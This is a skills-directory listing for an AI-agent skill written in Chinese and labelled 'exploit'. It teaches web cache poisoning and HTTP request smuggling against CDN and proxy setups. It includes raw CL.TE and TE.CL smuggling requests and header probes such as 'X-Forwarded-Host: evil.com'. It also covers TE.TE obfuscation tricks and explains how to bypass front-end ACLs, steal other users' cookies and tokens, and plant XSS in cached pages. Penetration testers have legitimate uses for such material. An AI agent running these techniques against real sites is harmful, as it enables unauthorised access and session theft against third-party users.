Skip to content
Back to skills

Cache Poisoning Smuggling

ASecurity

Web 缓存投毒和 HTTP 请求走私。当目标使用 CDN/反向代理/缓存层(Cloudflare/Varnish/Nginx)、或有前后端服务器架构差异时使用。通过操纵缓存键或利用 HTTP 解析差异来投毒缓存或绕过安全控制。高级 Web 攻击技术

  • 2 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added October 17, 2026
developmentgo

Security analysis

A100/100

Pro scans all 4 files and shows the line behind each finding

Scanned October 17, 2026

npx -y skills add NetVar1337/agent-skill-canon --skill cache-poisoning-smuggling --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Cache Poisoning Smuggling?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Cache Poisoning Smuggling
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/netvar1337-cache-poisoning-smuggling/badge)](https://www.skillsdirectory.com/skills/netvar1337-cache-poisoning-smuggling)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: cache-poisoning-smuggling
description: "Web 缓存投毒和 HTTP 请求走私。当目标使用 CDN/反向代理/缓存层(Cloudflare/Varnish/Nginx)、或有前后端服务器架构差异时使用。通过操纵缓存键或利用 HTTP 解析差异来投毒缓存或绕过安全控制。高级 Web 攻击技术"
metadata:
  tags: "cache poisoning,request smuggling,http smuggling,缓存投毒,请求走私,cdn,desync,cl-te,te-cl,hop-by-hop"
  category: "exploit"
---

# Web 缓存投毒 & HTTP 请求走私

两种相关但不同的高级 Web 攻击技术,都利用了多层 Web 架构中的解析差异。

---

## Part A: Web 缓存投毒 (Cache Poisoning)

核心思路:找到一个**影响响应内容但不包含在缓存键中的 HTTP 头**(unkeyed input),注入恶意内容到缓存。

### A.1 识别缓存行为
```
# 发送两次相同请求,检查响应头
http_request url="http://target/page" headers={"X-Test":"1"}
```
缓存指标:
- `X-Cache: HIT/MISS`
- `Age: 300`(缓存存活秒数)
- `CF-Cache-Status: HIT`(Cloudflare)
- `Via: 1.1 varnish`

### A.2 发现 Unkeyed Input
逐个测试 HTTP 头是否影响响应但不改变缓存键:

```
X-Forwarded-Host: evil.com     → 响应中出现 evil.com?
X-Forwarded-Scheme: http       → 强制 HTTP 重定向?
X-Original-URL: /admin         → 路径覆盖?
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1    → 绕过 IP 限制?
```

### A.3 投毒
如果 `X-Forwarded-Host` 影响响应中的资源链接:
1. 发送带恶意 Header 的请求
2. 响应被缓存(含恶意内容)
3. 后续用户访问同一 URL → 获取到被投毒的缓存

---

## Part B: HTTP 请求走私 (Request Smuggling)

核心思路:前端代理和后端服务器对**请求边界**的解析不一致,导致一个 HTTP 请求被解析为两个。

### B.1 识别走私类型

| 类型 | 前端判断长度 | 后端判断长度 |
|------|-------------|-------------|
| CL.TE | Content-Length | Transfer-Encoding |
| TE.CL | Transfer-Encoding | Content-Length |
| TE.TE | Transfer-Encoding | Transfer-Encoding(处理差异)|

### B.2 CL.TE 检测

前端用 Content-Length,后端用 Transfer-Encoding:
```
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```
如果后端处理了 `SMUGGLED` 作为新请求的开头 → 存在走私。

**时间延迟检测法**(更可靠):发送不完整的 chunked body,如果前端按 CL 转发完毕但后端等待剩余 chunk → 响应超时/时间延迟 → 存在 CL.TE 走私。响应差异(超时 vs 正常)是判断的关键依据。

### B.3 TE.CL 检测
```
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


```

### B.4 利用走私

**绕过前端安全控制**:
走私一个访问 `/admin` 的请求,绕过前端代理的 ACL。

**窃取其他用户请求**:
走私一个不完整的 POST 请求,后端等待更多数据 → 下一个用户的请求被拼接上来 → 读取其 Cookie/Token。

**缓存投毒**:
走私一个到不同路径的请求,让缓存存储错误的响应内容。

## 注意事项
- HTTP 走私需要精确控制 HTTP 原始字节,用 curl `--data-binary` 发送
- 缓存投毒影响范围取决于 TTL 和 key 设计
- TE.TE 混淆绕过:`Transfer-Encoding: xchunked`、`Transfer-Encoding\n: chunked`(换行/折叠注入)、多个 TE 头利用解析差异
- 缓存投毒后可注入 XSS,加载恶意 JS 影响所有访问者

## 深入参考

- 缓存投毒/走私高级技术(Web Cache Deception/HTTP/2 Downgrade/h2c/Response Desync) → [references/cache-smuggling-techniques.md](references/cache-smuggling-techniques.md)

Files in this skill

  • SKILL.md3.7 KB
  • evals/evals.json2.5 KB
  • evals/recall.json1.1 KB
  • references/cache-smuggling-techniques.md10.9 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.